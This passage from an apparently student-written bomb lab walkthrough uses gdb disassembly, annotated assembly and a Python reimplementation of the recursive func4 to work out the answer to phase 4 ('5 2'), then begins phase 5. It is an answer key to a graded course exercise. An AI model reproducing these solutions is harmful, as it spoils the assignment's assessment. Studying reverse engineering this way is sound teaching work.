<span class="m">3</span><span class="w"> </span>d<span class="w"> </span><span class="m">640</span>
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555638<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_3<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
Halfway<span class="w"> </span>there!
</code></pre>
</div>
<h2 id="phase-4">Phase 4</h2>
<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break phase_4'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'break explode_bomb'</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">'run'</span><span class="w"> </span>-args<span class="w"> </span>./bomb<span class="w"> </span>sol.txt<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span><http://gnu.org/licenses/gpl.html>
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">"show copying"</span><span class="w"> </span>and<span class="w"> </span><span class="s2">"show warranty"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">"x86_64-linux-gnu"</span>.
Type<span class="w"> </span><span class="s2">"show configuration"</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
<https://www.gnu.org/software/gdb/bugs/>.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w"> </span><http://www.gnu.org/software/gdb/documentation/>.
For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">"help"</span>.
Type<span class="w"> </span><span class="s2">"apropos word"</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">"word"</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x17d3
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>sol.txt
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
<span class="nb">test</span><span class="w"> </span>string
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555557d3<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_4<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_4
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_4:
<span class="o">=</span>><span class="w"> </span>0x00005555555557d3<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x00005555555557d7<span class="w"> </span><+4>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x00005555555557db<span class="w"> </span><+8>:<span class="w"> </span>lea<span class="w"> </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w"> </span>0x00005555555557e0<span class="w"> </span><+13>:<span class="w"> </span>lea<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w"> </span>0x00005555555557e5<span class="w"> </span><+18>:<span class="w"> </span>lea<span class="w"> </span>0x1bba<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w"> </span><span class="c1"># 0x5555555573a6</span>
<span class="w"> </span>0x00005555555557ec<span class="w"> </span><+25>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%eax
<span class="w"> </span>0x00005555555557f1<span class="w"> </span><+30>:<span class="w"> </span>call<span class="w"> </span>0x5555555552e0<span class="w"> </span><__isoc99_sscanf@plt>
<span class="w"> </span>0x00005555555557f6<span class="w"> </span><+35>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x00005555555557f9<span class="w"> </span><+38>:<span class="w"> </span>jne<span class="w"> </span>0x555555555802<span class="w"> </span><phase_4+47>
<span class="w"> </span>0x00005555555557fb<span class="w"> </span><+40>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>xe,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555800<span class="w"> </span><+45>:<span class="w"> </span>jbe<span class="w"> </span>0x555555555807<span class="w"> </span><phase_4+52>
<span class="w"> </span>0x0000555555555802<span class="w"> </span><+47>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x0000555555555807<span class="w"> </span><+52>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>xe,%edx
<span class="w"> </span>0x000055555555580c<span class="w"> </span><+57>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%esi
<span class="w"> </span>0x0000555555555811<span class="w"> </span><+62>:<span class="w"> </span>mov<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%edi
<span class="w"> </span>0x0000555555555815<span class="w"> </span><+66>:<span class="w"> </span>call<span class="w"> </span>0x555555555799<span class="w"> </span><func4>
<span class="w"> </span>0x000055555555581a<span class="w"> </span><+71>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x000055555555581d<span class="w"> </span><+74>:<span class="w"> </span>jne<span class="w"> </span>0x555555555826<span class="w"> </span><phase_4+83>
<span class="w"> </span>0x000055555555581f<span class="w"> </span><+76>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555824<span class="w"> </span><+81>:<span class="w"> </span>je<span class="w"> </span>0x55555555582b<span class="w"> </span><phase_4+88>
<span class="w"> </span>0x0000555555555826<span class="w"> </span><+83>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x000055555555582b<span class="w"> </span><+88>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x18,%rsp
<span class="w"> </span>0x000055555555582f<span class="w"> </span><+92>:<span class="w"> </span>ret<span class="w"> </span>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<p>Again, <code>gdb</code> has marked the string being passed to <code>scanf</code></p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x5555555573a6
0x5555555573a6:<span class="w"> </span><span class="s2">"%d %d"</span>
</code></pre>
</div>
<p>Okay, so this time we are supposed to enter 2 numbers.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555557f6<span class="w"> </span><+35>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x00005555555557f9<span class="w"> </span><+38>:<span class="w"> </span>jne<span class="w"> </span>0x555555555802<span class="w"> </span><phase_4+47>
</code></pre>
</div>
<p>Checks if there were 2 values read from calling <code>scanf</code>, if not -> jump to <code><phase_4+47></code> which calls <code><explode_bomb></code>.</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x00005555555557fb<span class="w"> </span><+40>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>xe,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555800<span class="w"> </span><+45>:<span class="w"> </span>jbe<span class="w"> </span>0x555555555807<span class="w"> </span><phase_4+52>
</code></pre>
</div>
<p>Compare <code>0xe</code> (14 in Decimal) and value stored at <code>$rsp</code> + <code>0xc</code> bytes (Decimal 12). If this condition is met (<= 14), jump to <code><phase_4+52></code>. If not, then explode bomb.</p>
<div class="codehilite">
<pre><span></span><code>...
<span class="w"> </span>0x0000555555555807<span class="w"> </span><+52>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>xe,%edx
<span class="w"> </span>0x000055555555580c<span class="w"> </span><+57>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%esi
<span class="w"> </span>0x0000555555555811<span class="w"> </span><+62>:<span class="w"> </span>mov<span class="w"> </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%edi
<span class="w"> </span>0x0000555555555815<span class="w"> </span><+66>:<span class="w"> </span>call<span class="w"> </span>0x555555555799<span class="w"> </span><func4>
<span class="w"> </span>0x000055555555581a<span class="w"> </span><+71>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x2,%eax
<span class="w"> </span>0x000055555555581d<span class="w"> </span><+74>:<span class="w"> </span>jne<span class="w"> </span>0x555555555826<span class="w"> </span><phase_4+83>
<span class="w"> </span>0x000055555555581f<span class="w"> </span><+76>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555824<span class="w"> </span><+81>:<span class="w"> </span>je<span class="w"> </span>0x55555555582b<span class="w"> </span><phase_4+88>
<span class="w"> </span>0x0000555555555826<span class="w"> </span><+83>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
</code></pre>
</div>
<ul>
<li><code>0x0000555555555815 <+66>: call 0x555555555799 <func4></code> calls another function called <code>func4</code></li>
<li>The returned value is compared with <code>0x2</code>, if they are not equal then the program jumps to call <code><explode_bomb></code>. This tells us that <code>func4</code> should return 2.</li>
</ul>
<p>Let us look into <code>func4</code></p>
<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>func4
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>func4:
<span class="w"> </span>0x0000555555555799<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x000055555555579d<span class="w"> </span><+4>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x8,%rsp
<span class="w"> </span>0x00005555555557a1<span class="w"> </span><+8>:<span class="w"> </span>mov<span class="w"> </span>%edx,%ecx
<span class="w"> </span>0x00005555555557a3<span class="w"> </span><+10>:<span class="w"> </span>sub<span class="w"> </span>%esi,%ecx
<span class="w"> </span>0x00005555555557a5<span class="w"> </span><+12>:<span class="w"> </span>shr<span class="w"> </span>%ecx
<span class="w"> </span>0x00005555555557a7<span class="w"> </span><+14>:<span class="w"> </span>add<span class="w"> </span>%esi,%ecx
<span class="w"> </span>0x00005555555557a9<span class="w"> </span><+16>:<span class="w"> </span>cmp<span class="w"> </span>%edi,%ecx
<span class="w"> </span>0x00005555555557ab<span class="w"> </span><+18>:<span class="w"> </span>ja<span class="w"> </span>0x5555555557b9<span class="w"> </span><func4+32>
<span class="w"> </span>0x00005555555557ad<span class="w"> </span><+20>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%eax
<span class="w"> </span>0x00005555555557b2<span class="w"> </span><+25>:<span class="w"> </span>jb<span class="w"> </span>0x5555555557c5<span class="w"> </span><func4+44>
<span class="w"> </span>0x00005555555557b4<span class="w"> </span><+27>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x8,%rsp
<span class="w"> </span>0x00005555555557b8<span class="w"> </span><+31>:<span class="w"> </span>ret<span class="w"> </span>
<span class="w"> </span>0x00005555555557b9<span class="w"> </span><+32>:<span class="w"> </span>lea<span class="w"> </span>-0x1<span class="o">(</span>%rcx<span class="o">)</span>,%edx
<span class="w"> </span>0x00005555555557bc<span class="w"> </span><+35>:<span class="w"> </span>call<span class="w"> </span>0x555555555799<span class="w"> </span><func4>
<span class="w"> </span>0x00005555555557c1<span class="w"> </span><+40>:<span class="w"> </span>add<span class="w"> </span>%eax,%eax
<span class="w"> </span>0x00005555555557c3<span class="w"> </span><+42>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span><func4+27>
<span class="w"> </span>0x00005555555557c5<span class="w"> </span><+44>:<span class="w"> </span>lea<span class="w"> </span>0x1<span class="o">(</span>%rcx<span class="o">)</span>,%esi
<span class="w"> </span>0x00005555555557c8<span class="w"> </span><+47>:<span class="w"> </span>call<span class="w"> </span>0x555555555799<span class="w"> </span><func4>
<span class="w"> </span>0x00005555555557cd<span class="w"> </span><+52>:<span class="w"> </span>lea<span class="w"> </span>0x1<span class="o">(</span>%rax,%rax,1<span class="o">)</span>,%eax
<span class="w"> </span>0x00005555555557d1<span class="w"> </span><+56>:<span class="w"> </span>jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span><func4+27>
</code></pre>
</div>
<p>This looks like a recursive function :( (I hate recursive functions)</p>
<p>Let's annotate the instructions.</p>
<div class="codehilite">
<pre><span></span><code>endbr64
sub<span class="w"> </span><span class="nv">$0</span>x8,%rsp<span class="w"> </span>//<span class="w"> </span>subtract<span class="w"> </span><span class="m">8</span><span class="w"> </span>bytes<span class="w"> </span>from<span class="w"> </span>the<span class="w"> </span>stack<span class="w"> </span>pointer
mov<span class="w"> </span>%edx,%ecx<span class="w"> </span>//<span class="w"> </span>Move<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>register<span class="w"> </span>%edx<span class="w"> </span>to<span class="w"> </span>%ecx
sub<span class="w"> </span>%esi,%ecx<span class="w"> </span>//<span class="w"> </span>Subtract<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%esi<span class="w"> </span>from<span class="w"> </span>%ecx
shr<span class="w"> </span>%ecx<span class="w"> </span>//<span class="w"> </span>Right<span class="w"> </span><span class="nb">shift</span><span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%ecx<span class="w"> </span>by<span class="w"> </span>one<span class="w"> </span>bit<span class="w"> </span><span class="o">(</span>dividing<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span>by<span class="w"> </span><span class="m">2</span><span class="o">)</span>
add<span class="w"> </span>%esi,%ecx<span class="w"> </span>//<span class="w"> </span>Add<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%esi<span class="w"> </span>to<span class="w"> </span>%ecx
cmp<span class="w"> </span>%edi,%ecx<span class="w"> </span>//<span class="w"> </span>Compare
ja<span class="w"> </span>0x5555555557b9<span class="w"> </span><func4+32><span class="w"> </span>//<span class="w"> </span>If<span class="w"> </span>%ecx<span class="w"> </span>><span class="w"> </span>%edi<span class="w"> </span>-><span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+32
mov<span class="w"> </span><span class="nv">$0</span>x0,%eax<span class="w"> </span>//<span class="w"> </span>Move<span class="w"> </span><span class="m">0</span><span class="w"> </span>to<span class="w"> </span>%eax
jb<span class="w"> </span>0x5555555557c5<span class="w"> </span><func4+44><span class="w"> </span>//<span class="w"> </span>If<span class="w"> </span>%ecx<span class="w"> </span><<span class="w"> </span>%edi<span class="w"> </span>-><span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+44.
add<span class="w"> </span><span class="nv">$0</span>x8,%rsp<span class="w"> </span>//<span class="w"> </span>add<span class="w"> </span><span class="m">8</span><span class="w"> </span>bytes<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>stack<span class="w"> </span>pointer
ret<span class="w"> </span>//<span class="w"> </span><span class="k">return</span>
lea<span class="w"> </span>-0x1<span class="o">(</span>%rcx<span class="o">)</span>,%edx<span class="w"> </span>//<span class="w"> </span>LEA<span class="w"> </span>of<span class="w"> </span><span class="nv">$rxc</span><span class="w"> </span>-<span class="w"> </span><span class="m">1</span><span class="w"> </span>into<span class="w"> </span><span class="nv">$edx</span>
call<span class="w"> </span>0x555555555799<span class="w"> </span><func4><span class="w"> </span>//<span class="w"> </span>Call<span class="w"> </span>itself
add<span class="w"> </span>%eax,%eax<span class="w"> </span>//<span class="w"> </span>Double<span class="w"> </span>the<span class="w"> </span>value<span class="w"> </span><span class="k">in</span><span class="w"> </span>%eax
jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span><func4+27><span class="w"> </span>//<span class="w"> </span>jump<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>instruction<span class="w"> </span>at<span class="w"> </span>offset<span class="w"> </span>+27
lea<span class="w"> </span>0x1<span class="o">(</span>%rcx<span class="o">)</span>,%esi
call<span class="w"> </span>0x555555555799<span class="w"> </span><func4>
lea<span class="w"> </span>0x1<span class="o">(</span>%rax,%rax,1<span class="o">)</span>,%eax<span class="w"> </span>//<span class="w"> </span>LEA<span class="w"> </span>of<span class="w"> </span>%rax<span class="w"> </span>*<span class="w"> </span><span class="m">2</span><span class="w"> </span>+<span class="w"> </span><span class="m">1</span><span class="w"> </span>into<span class="w"> </span><span class="nv">$eax</span><span class="w"> </span>
jmp<span class="w"> </span>0x5555555557b4<span class="w"> </span><func4+27>
</code></pre>
</div>
<p>We can either try to compute the values by hand, or write a simple script in Python to get the answer.</p>
<div class="codehilite">
<pre><span></span><code><span class="k">def</span> <span class="nf">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">esi</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">edx</span><span class="o">=</span><span class="mi">20</span><span class="p">):</span>
<span class="n">ecx</span> <span class="o">=</span> <span class="p">(</span><span class="n">edx</span> <span class="o">-</span> <span class="n">esi</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">esi</span>
<span class="k">if</span> <span class="n">ecx</span> <span class="o">></span> <span class="n">edi</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">esi</span><span class="p">,</span> <span class="n">ecx</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">ecx</span> <span class="o"><</span> <span class="n">edi</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">func4</span><span class="p">(</span><span class="n">edi</span><span class="p">,</span> <span class="n">ecx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">edx</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">15</span><span class="p">):</span> <span class="c1"># We can limit to 14</span>
<span class="k">if</span> <span class="n">func4</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"answer is </span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">break</span>
</code></pre>
</div>
<p>Running this code, we get: <code>answer is 5</code></p>
<p>Okay, so we know that the number needed to be passed to <code>func4</code> is 5. But, what about the second digit?</p>
<p>If we go back to the code for <code><phase_4></code>, we can see that:</p>
<div class="codehilite">
<pre><span></span><code><span class="w"> </span>0x000055555555581f<span class="w"> </span><+76>:<span class="w"> </span>cmpl<span class="w"> </span><span class="nv">$0</span>x2,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555824<span class="w"> </span><+81>:<span class="w"> </span>je<span class="w"> </span>0x55555555582b<span class="w"> </span><phase_4+88>
</code></pre>
</div>
<p>The value at <code>$rsp+8</code> should be equal to 2. So, let us try passing <code>5 2</code> as our input.</p>
<div class="codehilite">
<pre><span></span><code>...
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">'</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w"> </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
<span class="m">5</span><span class="w"> </span><span class="m">2</span>
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555557d3<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_4<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w"> </span>Try<span class="w"> </span>this<span class="w"> </span>one.
</code></pre>
</div>
<h2 id="phase-5">Phase 5</h2>
<div class="codehilite">
<pre><span></span><code>So<span class="w"> </span>you<span class="w"> </span>got<span class="w"> </span>that<span class="w"> </span>one.<span class="w"> </span>Try<span class="w"> </span>this<span class="w"> </span>one.
<span class="nb">test</span><span class="w"> </span>string
Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555830<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_5<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_5
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_5:
<span class="o">=</span>><span class="w"> </span>0x0000555555555830<span class="w"> </span><+0>:<span class="w"> </span>endbr64<span class="w"> </span>
<span class="w"> </span>0x0000555555555834<span class="w"> </span><+4>:<span class="w"> </span>push<span class="w"> </span>%rbx
<span class="w"> </span>0x0000555555555835<span class="w"> </span><+5>:<span class="w"> </span>sub<span class="w"> </span><span class="nv">$0</span>x10,%rsp
<span class="w"> </span>0x0000555555555839<span class="w"> </span><+9>:<span class="w"> </span>mov<span class="w"> </span>%rdi,%rbx
<span class="w"> </span>0x000055555555583c<span class="w"> </span><+12>:<span class="w"> </span>call<span class="w"> </span>0x555555555b10<span class="w"> </span><string_length>
<span class="w"> </span>0x0000555555555841<span class="w"> </span><+17>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%eax
<span class="w"> </span>0x0000555555555844<span class="w"> </span><+20>:<span class="w"> </span>jne<span class="w"> </span>0x55555555588b<span class="w"> </span><phase_5+91>
<span class="w"> </span>0x0000555555555846<span class="w"> </span><+22>:<span class="w"> </span>mov<span class="w"> </span><span class="nv">$0</span>x0,%eax
<span class="w"> </span>0x000055555555584b<span class="w"> </span><+27>:<span class="w"> </span>lea<span class="w"> </span>0x199e<span class="o">(</span>%rip<span class="o">)</span>,%rcx<span class="w"> </span><span class="c1"># 0x5555555571f0 <array.0></span>
<span class="w"> </span>0x0000555555555852<span class="w"> </span><+34>:<span class="w"> </span>movzbl<span class="w"> </span><span class="o">(</span>%rbx,%rax,1<span class="o">)</span>,%edx
<span class="w"> </span>0x0000555555555856<span class="w"> </span><+38>:<span class="w"> </span>and<span class="w"> </span><span class="nv">$0</span>xf,%edx
<span class="w"> </span>0x0000555555555859<span class="w"> </span><+41>:<span class="w"> </span>movzbl<span class="w"> </span><span class="o">(</span>%rcx,%rdx,1<span class="o">)</span>,%edx
<span class="w"> </span>0x000055555555585d<span class="w"> </span><+45>:<span class="w"> </span>mov<span class="w"> </span>%dl,0x9<span class="o">(</span>%rsp,%rax,1<span class="o">)</span>
<span class="w"> </span>0x0000555555555861<span class="w"> </span><+49>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x1,%rax
<span class="w"> </span>0x0000555555555865<span class="w"> </span><+53>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%rax
<span class="w"> </span>0x0000555555555869<span class="w"> </span><+57>:<span class="w"> </span>jne<span class="w"> </span>0x555555555852<span class="w"> </span><phase_5+34>
<span class="w"> </span>0x000055555555586b<span class="w"> </span><+59>:<span class="w"> </span>movb<span class="w"> </span><span class="nv">$0</span>x0,0xf<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w"> </span>0x0000555555555870<span class="w"> </span><+64>:<span class="w"> </span>lea<span class="w"> </span>0x9<span class="o">(</span>%rsp<span class="o">)</span>,%rdi
<span class="w"> </span>0x0000555555555875<span class="w"> </span><+69>:<span class="w"> </span>lea<span class="w"> </span>0x1943<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w"> </span><span class="c1"># 0x5555555571bf</span>
<span class="w"> </span>0x000055555555587c<span class="w"> </span><+76>:<span class="w"> </span>call<span class="w"> </span>0x555555555b31<span class="w"> </span><strings_not_equal>
<span class="w"> </span>0x0000555555555881<span class="w"> </span><+81>:<span class="w"> </span><span class="nb">test</span><span class="w"> </span>%eax,%eax
<span class="w"> </span>0x0000555555555883<span class="w"> </span><+83>:<span class="w"> </span>jne<span class="w"> </span>0x555555555892<span class="w"> </span><phase_5+98>
<span class="w"> </span>0x0000555555555885<span class="w"> </span><+85>:<span class="w"> </span>add<span class="w"> </span><span class="nv">$0</span>x10,%rsp
<span class="w"> </span>0x0000555555555889<span class="w"> </span><+89>:<span class="w"> </span>pop<span class="w"> </span>%rbx
<span class="w"> </span>0x000055555555588a<span class="w"> </span><+90>:<span class="w"> </span>ret<span class="w"> </span>
<span class="w"> </span>0x000055555555588b<span class="w"> </span><+91>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x0000555555555890<span class="w"> </span><+96>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555846<span class="w"> </span><phase_5+22>
<span class="w"> </span>0x0000555555555892<span class="w"> </span><+98>:<span class="w"> </span>call<span class="w"> </span>0x555555555d4a<span class="w"> </span><explode_bomb>
<span class="w"> </span>0x0000555555555897<span class="w"> </span><+103>:<span class="w"> </span>jmp<span class="w"> </span>0x555555555885<span class="w"> </span><phase_5+85>
End<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>dump.
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>
<div class="codehilite">
<pre><span></span><code>...
<span class="w"> </span>0x000055555555583c<span class="w"> </span><+12>:<span class="w"> </span>call<span class="w"> </span>0x555555555b10<span class="w"> </span><string_length>
<span class="w"> </span>0x0000555555555841<span class="w"> </span><+17>:<span class="w"> </span>cmp<span class="w"> </span><span class="nv">$0</span>x6,%eax
<span class="w"> </span>0x0000555555555844<span class="w"> </span><+20>:<span class="w"> </span>jne<span class="w"> </span>0x55555555588b<span class="w"> </span><phase_5+91>
...
